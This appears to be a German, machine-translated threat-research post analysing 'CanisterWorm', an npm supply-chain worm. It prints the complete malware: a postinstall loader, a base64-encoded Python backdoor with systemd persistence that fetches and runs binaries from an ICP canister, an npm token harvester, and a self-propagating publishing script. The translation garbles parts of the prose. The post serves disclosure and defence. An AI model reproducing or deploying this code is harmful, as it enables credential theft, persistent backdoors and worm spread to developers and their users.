Am 20. März 2026 um 20:45 Uhr UTC haben wir festgestellt, dass eine große Anzahl von Paketen auf NPM durch einen neuen, bisher unbekannten Wurm kompromittiert wurde. Wir bezeichnen diesen speziellen Angriff als „CanisterWorm“, da er einen ICP-Canister für seinen C2-Dead-Drop nutzt – was wir in einer Kampagne dieser Art zum ersten Mal beobachten.
Bisher haben sie Kompromisse geschlossen:
- 28 Packungen in der
@EmilGroupAnwendungsbereich - Das Paket
@teale.io/eslint-config, das wöchentlich 7000 Mal heruntergeladen wird
Dies scheint eine direkte Folge des Angriffs aufTrivy zu sein, der sich vorTrivy als 24 Stunden ereignet hat und von Wiz ausführlich dokumentiert wurde, und wurde vermutlich von demselben Angreifer, TeamPCP, verübt.
Technische Aufschlüsselung
Hier finden Sie eine Übersicht über die wichtigsten technischen Details des Angriffs:
- 🟧 Dreistufige Architektur. Node.js-Postinstall-Loader → persistente Python-Hintertür → ICP-gehosteter Dead-Drop für die dynamische Bereitstellung der Payload.
- 🪱 Sich selbst verbreitender Wurm.
deploy.jsnimmt npm-Token entgegen, löst Benutzernamen auf, listet alle veröffentlichungsfähigen Pakete auf, erhöht die Patch-Versionen und veröffentlicht die Daten im gesamten Bereich. 28 Pakete in weniger als 60 Sekunden. - 👉 systemd-Persistenz. Installiert einen Dienst auf Benutzerebene mit
Neustart=immer. Übersteht Neustarts, startet nach einem Absturz neu, kein Root-Zugriff erforderlich. - 🌐 ICP-Canister als C2-Dead-Drop. Ein Canister im Mainnet des Internet Computer gibt eine URL zurück, die auf eine binäre Nutzlast verweist. Dezentralisiert, zensurresistent, kein einzelner Punkt, an dem der Zugriff gesperrt werden kann.
- 🔄 Fernsteuerung der Payload-Rotation. Der Canister-Controller kann die URL jederzeit ändern und neue Binärdateien an alle infizierten Hosts übertragen, ohne das Implantat anzutasten.
- ⏱️ Umgehung der Sandbox. 5-minütige Wartezeit vor dem ersten Beacon, danach ein Abfrageintervall von ca. 50 Minuten.
- 🤫 Stiller Ausfall. Der gesamte Postinstall-Prozess ist in
try/catch.npm installfunktioniert auf allen Plattformen einwandfrei; die Hintertür wird nur unter Linux mit systemd aktiviert. - 🐘 PostgreSQL-Masquerading. Alle Artefakte, die so benannt sind, dass sie auf den Entwickler-Rechnern unauffällig bleiben:
pgmon,pglog,.pg_state. - 📄 Beibehaltung der README-Datei. Der Wurm ruft vor der Veröffentlichung die ursprüngliche README-Datei jedes Zielpakets ab, um den Anschein zu wahren.
Nutzlast – Malware
Nachfolgend finden Sie die eigentliche Schadcode-Nutzlast. Diese Datei wird automatisch als postinstall während npm install. Und so funktioniert es Schritt für Schritt:
- 🔓 Dekodiert die eingebettete Nutzlast. Die lange Base64-Zeichenkette ist ein Python-Skript (die Backdoor der zweiten Stufe, die wir weiter unten betrachten werden). Sie wird dekodiert und in
~/.local/share/pgmon/service.py. - 🟔 Erstellt einen systemd-Benutzerdienst. Es schreibt eine Unit-Datei in
~/.config/systemd/user/pgmon.servicedas das Python-Skript ausführt mitNeustart=immerund eine Neustartverzögerung von 5 Sekunden. Kein Root-Zugriff erforderlich, keine Passwortabfrage. - 🚀 Startet den Dienst sofort. Es läuft
systemctl --user daemon-reload, aktiviert dann den Dienst und startet ihn. Die Hintertür läuft nun und bleibt auch nach Neustarts und Systemabstürzen bestehen. - 🐘 Gibt sich als PostgreSQL-Tool aus. Der Dienst heißt
pgmon, die Binärdatei, die später heruntergeladen wird, heißtpglog, und die Statusdatei lautet.pg_state. Ein Entwickler, der einen Blick auf seine laufenden Dienste wirft, würde nicht zweimal hinschauen.
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
Payload – Python-Backdoor
Wenn man die Base64-kodierte systemd-Nutzlast dekodiert, erhält man Folgendes. Dies ist die eigentliche Hintertür, die auf dem System verbleibt. Sie nutzt ausschließlich Module der Python-Standardbibliothek, sodass keine Installation erforderlich ist.
- ⏱️ Wartet 5 Minuten, bevor es etwas unternimmt. Das ist lang genug, um die meisten Sandbox-Umgebungen zu überlisten, die auf sofortiges verdächtiges Verhalten achten.
- 📡 Ruft etwa alle 50 Minuten zu Hause an. Funktion
g()kontaktiert einen ICP-Canister mit einem gefälschten Browser-User-Agent. Der Canister stellt die Malware nicht direkt bereit. Er gibt lediglich eine URL als Klartext zurück, die auf den Ort verweist, an dem die eigentliche Binärdatei derzeit gehostet wird. - 📥 Lädt alles herunter und führt es aus, was ihm befohlen wird. Funktion
e()lädt die Binärdatei nach/tmp/pglog, kennzeichnet sie als ausführbar und startet sie in einem vollständig separaten Prozess. Die URL wird gespeichert unter/tmp/.pg_statedamit dieselbe Nutzlast nicht zweimal heruntergeladen wird. - 🔘 Verfügt über einen integrierten Kill-Schalter. Wenn die URL enthält
youtube[.]com, überspringt das Skript diesen Schritt. Dies ist der Ruhezustand des Canisters. Der Angreifer aktiviert das Implantat, indem er den Canister auf eine echte Binärdatei richtet, und deaktiviert es, indem er wieder zu einem YouTube-Link wechselt. - 🔄 Unterstützt die Rotation der Nutzdaten. Wenn der Angreifer den Canister so aktualisiert, dass er auf eine neue URL verweist, ruft jeder infizierte Rechner bei seiner nächsten Abfrage die neue Binärdatei ab. Die alte Binärdatei läuft im Hintergrund weiter, da das Skript vorherige Prozesse niemals beendet.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
Diese Nutzlast und die darin genannte Domain scheinen der folgenden ähnlich, wenn nicht sogar identisch zu sein: sysmon.py Nutzlast des Trivy . Derzeit handelt es sich bei der vom C2-Server zurückgegebenen URL um ein Rickroll-Video auf YouTube. Dies kann sich jederzeit ändern, und es könnte eine echte schädliche Nutzlast bereitgestellt werden.
Nutzlast – Wurm
Das Paket enthält außerdem deploy.js, ein Tool zur Selbstverbreitung, das der Angreifer manuell ausführt, um die schädliche Nutzlast auf alle Pakete zu verteilen, auf die ein gestohlenes npm-Token Zugriff hat. Der Wurm ist sehr einfach aufgebaut. Er scheint vollständig in Vibe-Code geschrieben zu sein und ist selbsterklärend. Es wurde kein Versuch unternommen, den Code zu verschleiern. Dies wird nicht ausgelöst durch npm install. Es handelt sich um ein eigenständiges Tool, das der Angreifer mit gestohlenen Token ausführt, um die Reichweite des Angriffs zu maximieren. Und so funktioniert es:
- 🔑 Unterstützt mehrere Token. Lesen
NPM_TOKENS(durch Kommas getrennt) oderNPM_TOKENaus der Umgebung. Jedes Token wird unabhängig verarbeitet, was bedeutet, dass ein einziger Angriff mehrere Konten gefährden kann. - 🔍 Ermittelt, wem das Token gehört. Für jedes Token ruft es das npm auf
/-/whoamiEndpunkt, um den zugehörigen Benutzernamen abzurufen. Ungültige oder abgelaufene Tokens werden übersprungen. - 📦 Listet alle Pakete auf, in denen das Konto veröffentlichen kann. Verwendet die npm-Such-API mit
maintainer:<username>, in Blöcken zu je 250 Seiten paginiert. Auf diese Weise wurden alle 28@emilgroupPakete. - 🔢 Erhöht die Patch-Version automatisch. Ruft den aktuellen Wert ab
aktuellsteVersion jedes Zielpakets und erhöht die Patch-Nummer.1.54.0wird1.54.1,1.97.1wird1.97.2. Die neue Version sieht immer wie ein routinemäßiges Patch-Release aus. - 📄 Behält die ursprüngliche README-Datei bei. Vor der Veröffentlichung ruft es die vorhandene README-Datei des Zielpakets aus dem Repository ab und ersetzt die lokale Datei durch diese. Nach der Veröffentlichung werden die eigenen Dateien wiederhergestellt. Dadurch bleibt der Eintrag im npm-Verzeichnis unverändert.
- 🟔 Überarbeitungen
package.jsonim Handumdrehen. Ersetzt vorübergehend den Paketnamen und die Version in der lokalenpackage.jsonmit den Zieldaten, veröffentlicht diese und stellt anschließend das Original wieder her. Ein einziges bösartiges Skelett, das für jedes Paket wiederverwendet wird. - 🚀 Veröffentlicht bei
--tag: aktuell. Der--öffentlicher Zugriff --Tag „Neueste“Diese Flags sorgen dafür, dass die schädliche Version als Standardinstallation installiert wird. Jeder, dernpm install @emilgroup/whatevererhält die manipulierte Version. - 🧹 Räumt hinter sich auf. Beide
package.jsonundREADME.mdwerden immer in einemfinallyBlock, auch wenn die Veröffentlichung fehlschlägt. Das lokale Verzeichnis sieht nach dem Durchlauf unverändert aus. - 📊 Druckt eine Zusammenfassung aus. Verfolgt Erfolge und Fehlschläge pro Token und protokolliert alles mit Statuszeilen, denen Emojis vorangestellt sind. Für ein Angriffstool ironischerweise sehr gut durchdacht.
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();Update: Der CanisterWorm lernt, sich selbst zu verbreiten
Etwa eine Stunde nach dem ersten @emilgroup wave, der Angreifer hat ein umfangreiches Update auf @teale.io/eslint-config Versionen 1.8.11 und 1.8.12 (21:16–21:21 UTC). Der Wurm ist kein manuell zu bedienendes Tool mehr. Er verbreitet sich nun selbstständig.
In der @emilgroup Versionen, deploy.js war ein eigenständiges Skript, das der Angreifer manuell mit gestohlenen Zugangsdaten ausführte. Die Opfer wurden mit der Hintertür infiziert, doch der Wurm verbreitete sich nicht eigenständig weiter. Das hat sich geändert. Der neue index.js fügt ein findNpmTokens() Funktion, die während postinstall und sammelt aktiv npm-Authentifizierungstoken vom Computer des Opfers.
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}Es handelt sich um dieselbe systemd-Hintertür wie zuvor, allerdings mit einer entscheidenden Ergänzung am Ende: Nach der Installation des persistenten Dienstes sammelt sie alle npm-Token, die sie finden kann, und startet damit den Wurm.
- 🔍 Schürfwunden
.npmrcDateien. Schecks~/.npmrc(Benutzerkonfiguration),.npmrcim aktuellen Arbeitsverzeichnis (Projektkonfiguration) und/etc/npmrc(globale Konfiguration). Analysiert jede Zeile auf_authTokenWerte. Klug genug, um Vorlagenvariablen wie${NPM_TOKEN}die nicht interpoliert wurden. - 🔍 Liest die Umgebungsvariablen aus. Sucht nach
NPM_TOKEN,NPM_TOKENSund alles, was dazu passt*NPM*TOKEN*. Teilt die Zeichenfolge an den Kommas, um Variablen mit mehreren Tokens zu verarbeiten. Dies deckt die meisten CI/CD-Konfigurationen ab. - 🔍 Fragt direkt die npm-Konfiguration ab. Läufe
npm config get //registry.npmjs.org/:_authTokenals Unterprozess, um außerhalb gespeicherte Token abzufangen.npmrcDateien. - 🪱 Der Wurm erscheint automatisch. Wenn Token gefunden werden, wird das Programm gestartet
deploy.jsals vollständig eigenständiger Hintergrundprozess mit den gestohlenen Tokens. Derfreistehend: trueund.unref()bedeutet, dass der Wurm auch danach weiterläuftnpm installendet.
An diesem Punkt wechselt der Angriff von „ein kompromittiertes Konto verbreitet Malware“ zu „Malware kompromittiert weitere Konten und verbreitet sich selbst“. Jeder Entwickler oder jede CI-Pipeline, die dieses Paket installiert und über ein zugängliches npm-Token verfügt, wird zu einem unwissenden Verbreitungsvektor. Ihre Pakete werden infiziert, ihre nachgelagerten Nutzer installieren diese, und wenn einige von ihnen über Token verfügen, wiederholt sich der Kreislauf.
Die ICP-Backdoor-Nutzlast wurde durch Hallo123, eine Testzeichenfolge, die zu unlesbaren Bytes dekodiert wird. Wenn systemd versucht, sie als Python-Programm auszuführen, stürzt es sofort ab, aber mit Neustart=immer Der Dienst wurde so konfiguriert, dass er alle 5 Sekunden im Hintergrund neu startet. Der Angreifer hat zunächst die Infrastruktur eingerichtet, um die gesamte Kette (Token-Erfassung, Wurmverbreitung, Persistenz über systemd) zu validieren, bevor er sie mit der eigentlichen Schadfunktion ausstattete.
Wäre dies mit der vollständigen ICP-Hintertür ausgeliefert worden, wären die Pakete jedes kompromittierten Entwicklers zu einem neuen Infektionsvektor geworden. Die Infrastruktur ist vorhanden. Sie haben nur den Wasserhahn noch nicht aufgedreht.
Die Lage entwickelt sich weiter, bleiben Sie auf dem Laufenden...

